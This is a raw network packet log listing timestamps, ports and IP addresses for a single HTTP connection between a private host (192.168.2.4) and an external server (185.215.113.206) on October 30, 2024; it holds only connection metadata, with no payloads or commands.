Oct 30, 2024 20:13:27.045320034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045330048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045337915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.045358896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.045371056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.045533895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045583963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.045666933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045676947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045711040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.045789957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045831919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045838118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.045841932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.045866966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.045881033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.046046019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046055079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046088934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.046097994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046108007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046117067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046128035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046139002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.046156883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.046173096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.046468019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046519995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.046591043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046601057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046610117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046618938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046627998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046636105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.046638966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046652079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046660900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.046663046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.046673059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.046693087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.047141075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047188997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.047188997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047207117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047216892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047230005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.047243118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.047250986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.047410965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047420979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047456980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.047570944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047580957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047589064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047597885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047609091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047615051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.047619104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047627926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.047629118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.047658920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.047681093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.048026085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.048079014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.092567921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.092621088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.092624903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.092654943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.092694044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.092730045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.092776060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.092817068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.166467905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.166517019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.166527033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.166547060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.166567087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.166603088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.166649103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.166698933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.166708946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.166745901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.166821003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.166829109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.166872025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.167098999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167143106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.167176962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167187929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167224884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.167397022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167407036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167417049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167428970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167449951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.167465925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.167705059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167716026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167752981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.167833090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167841911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167853117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167861938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167872906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167881012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.167887926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.167893887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.167916059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.167938948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.168318987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.168329954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.168339968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.168349028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.168359995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.168378115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.168397903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.168801069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.168809891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.168818951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.168828964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.168839931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.168849945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.168875933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.169044018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169054031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169092894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.169151068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169162035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169171095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169181108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169192076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169195890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.169203997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169214010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169214964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.169224024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.169224977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169260979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.169275999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.169956923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169966936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169976950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169986963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.169998884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.170005083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.170027971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.170044899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.214582920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.214605093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.214612007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.214646101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.214679003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.214709997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.214720011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.214752913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.288589954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.288660049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.288671017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.288738012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.288738966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.288794994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.288805962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.288846016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.288917065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.288961887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.289015055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289026976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289063931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.289166927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289176941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289186001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289196968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289216042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.289232969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.289453983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289463997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289505959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.289637089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289647102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289679050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.289702892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.289747953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289757013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289797068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.289877892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289886951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289901972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289917946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289928913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.289928913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.289940119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.289969921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.290330887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.290340900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.290349007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.290383101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.290396929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.290832996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.290883064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.290887117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.290896893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.290935040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.291079998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291090012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291099072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291132927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.291146040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.291301966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291317940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291337967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291353941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291359901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.291366100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291368008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.291378021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291382074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.291402102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.291429043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.291802883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291815042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291855097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.291937113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291946888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291958094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.291989088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.292002916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.292047024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.292057991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.292068005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.292078018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.292093992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.292103052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.292113066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.292123079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.292128086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.292135000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.292148113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.292160988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.292190075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.336482048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.336529016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.336543083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.336564064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.336590052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.336649895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.336690903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.410531998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.410594940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.410607100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.410729885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.410733938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.410744905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.410808086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.410881042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.410891056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.410900116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.410928965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.410943031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.411067963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411077976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411128998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.411180019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411190033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411200047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411210060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411218882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.411251068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.411403894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411449909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.411470890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411483049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411490917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411501884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411520958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.411541939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.411869049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411879063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411887884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411897898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411906958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411917925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.411919117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.411933899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.411957979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.412276030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.412286997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.412328959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.412533045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.412575960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.412610054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.412621021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.412672997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.412754059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.412764072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.412798882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.412929058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.412940025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.412990093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.413072109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.413081884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.413091898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.413100958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.413122892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.413137913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.532897949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.532924891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.532937050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.532954931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.532982111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.533066988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533078909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533088923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533101082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533116102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.533149958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.533160925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.533354998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533381939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533396006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.533405066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533421993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.533437014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.533628941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533638954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533651114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533678055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533689022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533698082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.533709049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533710957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.533720970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533732891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.533734083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.533761024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.533780098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.534405947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.534455061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:27.534595966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.534606934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:27.534636974 CET	49758	80	192.168.2.4	185.215.113.206
